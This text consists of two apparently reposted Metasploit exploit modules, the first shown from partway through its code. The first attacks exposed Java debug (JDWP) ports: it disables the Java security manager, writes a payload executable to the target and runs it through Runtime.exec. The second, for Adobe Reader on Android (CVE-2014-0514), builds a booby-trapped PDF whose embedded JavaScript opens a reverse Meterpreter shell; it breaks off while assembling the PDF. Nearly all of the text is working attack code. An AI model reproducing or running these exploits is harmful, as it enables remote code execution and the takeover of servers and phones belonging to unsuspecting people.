    buf = read_reply(datastore['BREAK_TIMEOUT'])
    unless buf
      fail_with(Exploit::Failure::Unknown, "No network response")
    end
    status, suspend_status = buf.unpack('NN')

    status
  end

  # Resumes execution of the application or thread after the suspend command or an event has stopped it
  def resume_vm(thread_id = nil)
    if thread_id.nil?
      sock.put(create_packet(RESUMEVM_SIG))
    else
      sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id)))
    end

    response = read_reply(datastore['BREAK_TIMEOUT'])
    unless response
      fail_with(Exploit::Failure::Unknown, "No network response")
    end

    response
  end

  # Suspend execution of the application or thread
  def suspend_vm(thread_id = nil)
    if thread_id.nil?
      sock.put(create_packet(SUSPENDVM_SIG))
    else
      sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id)))
    end

    response = read_reply
    unless response
      fail_with(Exploit::Failure::Unknown, "No network response")
    end

    response
  end

  # Sets an event request. When the event described by this request occurs, an event is sent from the target VM
  def send_event(event_code, args)
    data = [event_code].pack('C')
    data << [SUSPEND_ALL].pack('C')
    data << [args.length].pack('N')

    args.each do |kind,option|
      data << [kind].pack('C')
      data << option
    end

    sock.put(create_packet(EVENTSET_SIG, data))
    response = read_reply
    unless response
      fail_with(Exploit::Failure::Unknown, "#{peer} - No network response")
    end
    return response.unpack('N')[0]
  end

  # Parses a received event and compares it with the expected
  def parse_event(buf, event_id, thread_id)
    len = @vars["objectid_size"]
    return false if buf.length < 10 + len - 1

    r_id = buf[6..9].unpack('N')[0]
    t_id = unformat(len,buf[10..10+len-1])

    return (event_id == r_id) && (thread_id == t_id)
  end

  # Clear a defined event request
  def clear_event(event_code, r_id)
    data = [event_code].pack('C')
    data << [r_id].pack('N')
    sock.put(create_packet(EVENTCLEAR_SIG, data))
    read_reply
  end

  # Invokes a static method. The method must be member of the class type or one of its superclasses,
  # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private
  # methods can be invoked.
  def invoke_static(class_id, thread_id, meth_id, args = [])
    data = format(@vars["referencetypeid_size"], class_id)
    data << format(@vars["objectid_size"], thread_id)
    data << format(@vars["methodid_size"], meth_id)
    data << [args.length].pack('N')

    args.each do |arg|
      data << arg
      data << [0].pack('N')
    end

    sock.put(create_packet(INVOKESTATICMETHOD_SIG, data))
    buf = read_reply
    buf
  end

  # Invokes a instance method. The method must be member of the object's type or one of its superclasses,
  # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods
  # can be invoked.
  def invoke(obj_id, thread_id, class_id, meth_id, args = [])
    data = format(@vars["objectid_size"], obj_id)
    data << format(@vars["objectid_size"], thread_id)
    data << format(@vars["referencetypeid_size"], class_id)
    data << format(@vars["methodid_size"], meth_id)
    data << [args.length].pack('N')

    args.each do |arg|
      data << arg
      data << [0].pack('N')
    end

    sock.put(create_packet(INVOKEMETHOD_SIG, data))
    buf = read_reply
    buf
  end

  # Creates a new object of specified class, invoking the specified constructor. The constructor
  # method ID must be a member of the class type.
  def create_instance(class_id, thread_id, meth_id, args = [])
    data = format(@vars["referencetypeid_size"], class_id)
    data << format(@vars["objectid_size"], thread_id)
    data << format(@vars["methodid_size"], meth_id)
    data << [args.length].pack('N')

    args.each do |arg|
      data << arg
      data << [0].pack('N')
    end

    sock.put(create_packet(CREATENEWINSTANCE_SIG, data))
    buf = read_reply
    buf
  end

  def temp_path
    return nil unless datastore['TMP_PATH']
    unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
      fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
    end
    datastore['TMP_PATH']
  end

  # Configures payload according to targeted architecture
  def setup_payload
    # 1. Setting up generic values.
    payload_exe = rand_text_alphanumeric(4 + rand(4))
    pl_exe = generate_payload_exe

    # 2. Setting up arch specific...
    case target['Platform']
    when 'linux'
      path = temp_path || '/tmp/'
      payload_exe = "#{path}#{payload_exe}"
      if @os.downcase =~ /win/
        print_warning("#{peer} - #{@os} system detected but using Linux target...")
      end
    when 'win'
      path = temp_path || './'
      payload_exe = "#{path}#{payload_exe}.exe"
      unless @os.downcase =~ /win/
        print_warning("#{peer} - #{@os} system detected but using Windows target...")
      end
    end

    return payload_exe, pl_exe
  end

  # Invokes java.lang.System.getProperty() for OS fingerprinting purposes
  def fingerprint_os(thread_id)
    size = @vars["objectid_size"]

    # 1. Creates a string on target VM with the property to be getted
    cmd_obj_ids = create_string("os.name")
    fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
    cmd_obj_id = cmd_obj_ids[0]["obj_id"]

    # 2. Gets property
    data = [TAG_OBJECT].pack('C')
    data << format(size, cmd_obj_id)
    data_array = [data]
    runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty")
    buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
    fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C')

    str = unformat(size, buf[1..1+size-1])
    @os = solve_string(format(@vars["objectid_size"],str))
  end

  # Creates a file on the server given a execution thread
  def create_file(thread_id, filename)
    cmd_obj_ids = create_string(filename)
    fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0

    cmd_obj_id = cmd_obj_ids[0]["obj_id"]
    size = @vars["objectid_size"]
    data = [TAG_OBJECT].pack('C')
    data << format(size, cmd_obj_id)
    data_array = [data]
    runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V")
    buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
    fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')

    file = unformat(size, buf[1..1+size-1])
    fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0)

    register_files_for_cleanup(filename)

    file
  end

  # Stores the payload on a new string created in target VM
  def upload_payload(thread_id, pl_exe)
    size = @vars["objectid_size"]
    if is_java_eight
      runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64;", "getDecoder")
      buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
    else
      runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "<init>")
      buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
    end
    unless buf[0] == [TAG_OBJECT].pack('C')
      fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
    end

    decoder = unformat(size, buf[1..1+size-1])
    if decoder.nil? || decoder == 0
      fail_with(Failure::Unknown, "Failed to create Base64 decoder object")
    end

    cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}")
    if cmd_obj_ids.length == 0
      fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
    end

    cmd_obj_id = cmd_obj_ids[0]["obj_id"]
    data = [TAG_OBJECT].pack('C')
    data << format(size, cmd_obj_id)
    data_array = [data]

    if is_java_eight
      runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64$Decoder;", "decode", "(Ljava/lang/String;)[B")
    else
      runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B")
    end
    buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
    unless buf[0] == [TAG_ARRAY].pack('C')
      fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray")
    end

    pl = unformat(size, buf[1..1+size-1])
    pl
  end

  # Dumps the payload on a opened server file given a execution thread
  def dump_payload(thread_id, file, pl)
    size = @vars["objectid_size"]
    data = [TAG_OBJECT].pack('C')
    data << format(size, pl)
    data_array = [data]
    runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V")
    buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
    unless buf[0] == [TAG_VOID].pack('C')
      fail_with(Failure::Unknown, "Exception while writing to file")
    end
  end

  # Closes a file on the server given a execution thread
  def close_file(thread_id, file)
    runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close")
    buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"])
    unless buf[0] == [TAG_VOID].pack('C')
      fail_with(Failure::Unknown, "Exception while closing file")
    end
  end

  # Executes a system command on target VM making use of java.lang.Runtime.exec()
  def execute_command(thread_id, cmd)
    size = @vars["objectid_size"]

    # 1. Creates a string on target VM with the command to be executed
    cmd_obj_ids = create_string(cmd)
    if cmd_obj_ids.length == 0
      fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
    end

    cmd_obj_id = cmd_obj_ids[0]["obj_id"]

    # 2. Gets Runtime context
    runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")
    buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
    unless buf[0] == [TAG_OBJECT].pack('C')
      fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
    end

    rt = unformat(size, buf[1..1+size-1])
    if rt.nil? || (rt == 0)
      fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()")
    end

    # 3. Finds and executes "exec" method supplying the string with the command
    exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")
    if exec_meth.nil?
      fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()")
    end

    data = [TAG_OBJECT].pack('C')
    data << format(size, cmd_obj_id)
    data_array = [data]
    buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)
    unless buf[0] == [TAG_OBJECT].pack('C')
      fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
    end
  end

  # Set event for stepping into a running thread
  def set_step_event
    # 1. Select a thread in sleeping status
    t_id = nil
    @threads.each_key do |thread|
      if thread_status(thread) == THREAD_SLEEPING_STATUS
        t_id = thread
        break
      end
    end
    fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil?

    # 2. Suspend the VM before setting the event
    suspend_vm

    vprint_status("#{peer} - Setting 'step into' event in thread: #{t_id}")
    step_info = format(@vars["objectid_size"], t_id)
    step_info << [STEP_MIN].pack('N')
    step_info << [STEP_INTO].pack('N')
    data = [[MODKIND_STEP, step_info]]

    r_id = send_event(EVENT_STEP, data)
    unless r_id
      fail_with(Failure::Unknown, "Could not set the event")
    end

    return r_id, t_id
  end

  # Disables security manager if it's set on target JVM
  def disable_sec_manager
    sys_class = get_class_by_name("Ljava/lang/System;")

    fields = get_fields(sys_class["reftype_id"])

    sec_field = nil

    fields.each do |field|
      sec_field = field["field_id"] if field["name"].downcase == "security"
    end

    fail_with(Failure::Unknown, "Security attribute not found") if sec_field.nil?

    value = get_value(sys_class["reftype_id"], sec_field)

    if(value == 0)
      print_good("#{peer} - Security manager was not set")
    else
      set_value(sys_class["reftype_id"], sec_field, 0)
      if get_value(sys_class["reftype_id"], sec_field) == 0
        print_good("#{peer} - Security manager has been disabled")
      else
        print_good("#{peer} - Security manager has not been disabled, trying anyway...")
      end
    end
  end

  # Uploads & executes the payload on the target VM
  def exec_payload(thread_id)
    # 0. Fingerprinting OS
    fingerprint_os(thread_id)

    vprint_status("#{peer} - Executing payload on \"#{@os}\", target version: #{version}")

    # 1. Prepares the payload
    payload_exe, pl_exe = setup_payload

    # 2. Creates file on server for dumping payload
    file = create_file(thread_id, payload_exe)

    # 3. Uploads payload to the server
    pl = upload_payload(thread_id, pl_exe)

    # 4. Dumps uploaded payload into file on the server
    dump_payload(thread_id, file, pl)

    # 5. Closes the file on the server
    close_file(thread_id, file)

    # 5b. When linux arch, give execution permissions to file
    if target['Platform'] == 'linux'
      cmd = "chmod +x #{payload_exe}"
      execute_command(thread_id, cmd)
    end

    # 6. Executes the dumped payload
    cmd = "#{payload_exe}"
    execute_command(thread_id, cmd)
  end


  def exploit
    @my_id = 0x01
    @vars = {}
    @classes = []
    @methods = {}
    @threads = {}
    @os = nil

    connect

    unless handshake == HANDSHAKE
      fail_with(Failure::NotVulnerable, "JDWP Protocol not found")
    end

    print_status("#{peer} - Retrieving the sizes of variable sized data types in the target VM...")
    get_sizes

    print_status("#{peer} - Getting the version of the target VM...")
    get_version

    print_status("#{peer} - Getting all currently loaded classes by the target VM...")
    get_all_classes

    print_status("#{peer} - Getting all running threads in the target VM...")
    get_all_threads

    print_status("#{peer} - Setting 'step into' event...")
    r_id, t_id = set_step_event

    print_status("#{peer} - Resuming VM and waiting for an event...")
    response = resume_vm

    unless parse_event(response, r_id, t_id)
      datastore['NUM_RETRIES'].times do |i|
        print_status("#{peer} - Received #{i + 1} responses that are not a 'step into' event...")
        buf = read_reply
        break if parse_event(buf, r_id, t_id)

        if i == datastore['NUM_RETRIES']
          fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts")
        end
      end
    end

    vprint_status("#{peer} - Received matching event from thread #{t_id}")
    print_status("#{peer} - Deleting step event...")
    clear_event(EVENT_STEP, r_id)

    print_status("#{peer} - Disabling security manager if set...")
    disable_sec_manager

    print_status("#{peer} - Dropping and executing payload...")
    exec_payload(t_id)

    disconnect
  end
end
 
Adobe Reader for Android addJavascriptInterface Exploit

Adobe Reader versions less than 11.2.0 exposes insecure native interfaces to untrusted javascript in a PDF. This Metasploit module embeds the browser exploit from android/webview_addjavascriptinterface into a PDF to get a command shell on vulnerable versions of Reader.

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
require 'msf/core/exploit/fileformat'
require 'msf/core/exploit/pdf'
require 'msf/core/exploit/android'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking
 
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::PDF
  include Msf::Exploit::Android
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Adobe Reader for Android addJavascriptInterface Exploit',
      'Description'    => %q{
          Adobe Reader versions less than 11.2.0 exposes insecure native
          interfaces to untrusted javascript in a PDF. This module embeds the browser
          exploit from android/webview_addjavascriptinterface into a PDF to get a
          command shell on vulnerable versions of Reader.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
        'Yorick Koster', # discoverer
        'joev' # msf module
      ],
      'References'     =>
        [
          [ 'CVE', '2014-0514' ],
          [ 'EDB', '32884' ],
          [ 'OSVDB', '105781' ],
        ],
      'Platform'       => 'android',
      'DefaultOptions' => {
        'PAYLOAD' => 'android/meterpreter/reverse_tcp'
      },
      'Targets'        => [
        [ 'Android ARM', {
            'Platform' => 'android',
            'Arch' => ARCH_ARMLE
          }
        ],
        [ 'Android MIPSLE', {
            'Platform' => 'android',
            'Arch' => ARCH_MIPSLE
          }
        ],
        [ 'Android X86', {
            'Platform' => 'android',
            'Arch' => ARCH_X86
          }
        ]
      ],
      'DisclosureDate' => 'Apr 13 2014',
      'DefaultTarget'  => 0
    ))
 
    register_options([
      OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
    ], self.class)
  end
 
  def exploit
    print_status("Generating Javascript exploit...")
    js = add_javascript_interface_exploit_js(ARCH_ARMLE)
    print_status("Creating PDF...")
    file_create(pdf(js))
  end
 
  def trailer(root_obj)
    id = @xref.keys.max+1
    "trailer" << eol << "<</Size %d/Root " % id << ioRef(root_obj) << ">>" << eol
  end
 
  def add_compressed(n, data)
    add_object(n, Zlib::Inflate.inflate(Rex::Text.decode_base64(data)))
  end
 
  def pdf(js)
    self.eol = "\x0d"
    @xref = {}
    @pdf = header('1.6')
 
    add_compressed(25, "eJzjtbHRd0wuynfLL8pVMDFQMFAI0vdNLUlMSSxJVDAGc/0Sc1OLFYyNwBz/0pKczDwg3xzMDUhMB7INzcCc4ILMlNQiz7y0fAUjiOrgkqLS5JKQotTUoPz8EgVDiPkhlQWp+s5AC3Ly0+3seAG6CSa9")
    add_compressed(40, "eJzjtbHRd3HU0PdIzSlTMFAISQMS6Qqa+i5BQAnXvOT8lMy8dCAzwMXNJT8ZJqBgYgpUF2Rnp++Wn1cClPZIdcpXMLYECUKMMjEHs6MSXZIUTCwgikHKM1NzUoqjjcEisXZ2vADEuSJw")
    add_compressed(3, "eJztV91umzAUfoK8g8UuN2OMIQkWUFWJplUqU7VGam+N7aSs/AmMQvtqvdgj7RVmEpKRNJp2M2kXWAjZ+Hzfd3zO4Uie+D66lflGPQFCMEH3TaxeSokeo1u06iaRVEwwxcKwVpVk2cS/akvGn6UCsdwkeWD8fPthgEQExoMbWVG5kE/Jl9dK3r9+XfHXZ+4J4yqc+C1tszLTZKDN0rymbWAwUcSS6nn3GRlgZ6KeA+O62wCP0R1YFJUErulAblkumM1N7MyIPf0EbAvbyJojm0BMqNU9oB9GONFvvxJr+m35uZfTq8B4UqqkCG23W3NLzKLaIOx5HrJsZNtQW8D6JVeshXn9YU9y4FnKmldJqZIiB92axUWjAsOYgMHoz5WVR6G8NndnNHmRoZaVCJsWugQS/IgpmyrduSY4kqnMZK5qjcMXcVosiv4sl2UXkeUgHic4vaFxBB0D0MVA69CoEMn6ZcmUDHXwHWi5kOAVtil2qD3VS2pZPjqzPONY6ApScsBBdhyEEpe6+KNlHzkGlud+9AX5V54MbS/5UlSrokjDfcFd86qImQJYx23gRW8zgAtO10WVMRWyskwTzrrC6CLno99bp/YqUenQhUNlXafq9OthI026TNGU5ZvAaKGQa9akygi/16ZqlY/2NmeM6D3lzqVzdX9XOHRZ8KYrsJtl2DSJoJ6Yu1NPSjhbizl0nJhBj885nErXtl3iejFzd4E5xb7jvclrxXIuD7wOn1nONNaZcjwCPcuJIXNdGwqOZ3ObxySO8YF3gB3w6tjSu6oQDZdVeMjTg4zBgpWq0T1in7MTs8kwKIM/eN8eUN8fdGtCx970LhX/ZIwio8goMoqMIqPIKPJfiQxuNzLXV5ptd3fRs/7u8wtzq37r")
    add_compressed(32, "eJzjtbHR93QJVjA0VzBQCNIPDfIBsi1AbDs7XgBc3QYo")
    add_compressed(7, "eJzjtbHRd84vzStRMNJ3yywqLlGwUDBQCNL3SYQzQyoLUvX9S0tyMvNSi+3seAF54Q8a")
    add_compressed(16, "eJzjtbHRd84vzStRMNT3zkwpjjYyUzBQCIrVD6ksSNUPSExPLbaz4wUA0/wLJA==")
    add_compressed(22, "eJzjtbHRD1Mw1DMytbPjBQARcgJ6")
    add_compressed(10, "eJzjtbHRd85JLC72TSxQMDRUMFAI0vdWMDQCMwISi1LzSkKKUlMVDI3RRPxSK0q8UysVDPVDKgtS9YNLikqTwRJB+fkldna8AIaCG78=")
    add_compressed(11, "eJzjtbHRDy5IKXIsKgGy/PXDU5OcEwtKSotS7YCAFwCW+AmR")
    add_compressed(12, "eJzjtbHR91YwNFUwUAjSD1AwNAAzgvVd8pNLc1PzSuzseAGGCwiD")
    add_compressed(13, "eJzjtbHR9yvNLY42UDA0UTBQCIq1s+MFADohBRA=")
    add_compressed(14, "eJzjjTY0VTBQCFKAULG8ABzfA0M=")
    add_compressed(15, "eJzjtbHRd9YPLkgpciwq0feONlAwjNUPUDA0UjBQCNIPSFcwMgOzgvWB8pnJOal2drwAYtsNjA==")
    add_compressed(26, "eJx1jk0KwkAMhU/QO+QEnRmnrQiloBXEhVBaV4qLoQ0iyGSYH9Dbm7ZrAwn54L2XZHUt9tZSDFAokNCLlmxEy1wWK3tyB/rcZS5h7kpteG53PB/i5Ck50KvyfARdLtsFp5f5a+puoHIpOuP5DqhqsfQYKPkRAz/U0pv84MyIMwwStJ41DZfoKZqIIMUQfRrjGhKYr1+HnPnEpsl+Bag7pA==")
    add_compressed(41, "eJzjjTa2UDBQCIrlBQAKzAIA")
    add_compressed(54, "eJwBzwAw/w08PC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDE1ND4+c3RyZWFtDUiJXE7BDcIwFLv3K/IFvlatYzAG66bgYSDM2/BQa6cDXWV7gv69m7d5SEISCKGs57axjpEklDFbd/MX1GQCc3jgRMaEN2oNDSVHrMeoep358/SgXQjse9Dx5w722naW29AhTU2RQ2zLkSivJNwABQyuE0pitYGO1SLSiJbxJL0XjaDpibv76UiZ7wvI+cx/rWb1V4ABAMukNiwNZW5kc3RyZWFtDcyfYBU=")
    add_compressed(34, "eJzjtbHRdw5WMDZTMFAI0g/WDylKzCsuSCxKzUuutLPjBQB75gjK")
    add_compressed(35, "eJzj1ZA6peCnxVrNzHD3v1xSmdpmTV4AOosGFg==")
    add_compressed(33, "eJzjjdb3dHZ2SixOTVEwslQwUAiK5QUANnUE/Q==")
    add_compressed(29, "eJwBEQHu/g08PC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDIxNi9OIDE+PnN0cmVhbQ1IiWJgYJzh6OLkyiTAwJCbV1LkHuQYGREZpcB+noGNgZkBDBKTiwscAwJ8QOy8/LxUBgzw7RoDI4i+rAsyC1MeL2BNLigqAdIHgNgoJbU4GUh/AeLM8pICoDhjApAtkpQNZoPUiWSHBDkD2R1ANl9JagVIjME5v6CyKDM9o0TB0NLSUsExJT8pVSG4srgkNbdYwTMvOb+oIL8osSQ1BagWagcI8LsXJVYquCfm5iYqGOkZkehyIgAoLCGszyHgMGIUO48QQ4Dk0qIyKJORyZiBASDAAEnGOC8NZW5kc3RyZWFtDYkear8=")
    add_compressed(36, "eJzjjdb3dHZ2SixOTVEwNlAwUAiK5QUANj4E9Q==")
    add_compressed(30, "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")
    add_compressed(38, "eJxNjbEOgjAYhJ+Ad/hHWPgplIoJaVIwaGIwRGsciAtYCFGLQx18e1vi4HDDXe6+8/IcBdAEIjiiaKw7QEqc4xw3wsedKmYgMcjBhmOAFVCsJBZGYzUAS9OEYb23u2LbkjCCn65YCr98TP0dnipA2QCxwAZitjwdVW/ayFajkBGasQwYIWGSUVitY7c+vTvzeSm8TLdRGZR+Z/SCqx3t/I92NaH1bDj3vvt1NZc=")
    add_compressed(43, "eJzjtbHR9wpWMDFTMFAI0g/W90osSwxOLsosKLGz4wUAaC0Hzw==")
    add_compressed(51, "eJxNjtEKgkAQRb9g/mG/wHHRTEF8kPCpyDIoEB/UJivQrXUF+/t2Y4seLnPhzj1ciGNMUzGXruMyo4Bzxwt9tozMXVSYCdkfXg9iHNc0dOrKAh83tZK3ueS2ZPTnK9zTKCbZ0qjxuRRtQarEfJVVSYLF1CjN+4DRkPG0be7UqiQZlaS6B8460CC7xQu/YziTBBd46gfOAjeyYRj9wiMMsAMazpb0BnLmPE4=")
 
    js = Zlib::Deflate.deflate(js)
    add_object(46, "\x0d<</Filter[/FlateDecode]/Length #{js.length}>>stream\x0d#{js}\x0dendstream\x0d")
 
    add_compressed(8, "eJzjtbHRd84vzStRMNR3yywqLlGwVDBQCNL3SYQzAxKLUoHy5mBOSGZJTqqGT35yYo6CS2ZxtqadHS8AmCkTkg==")
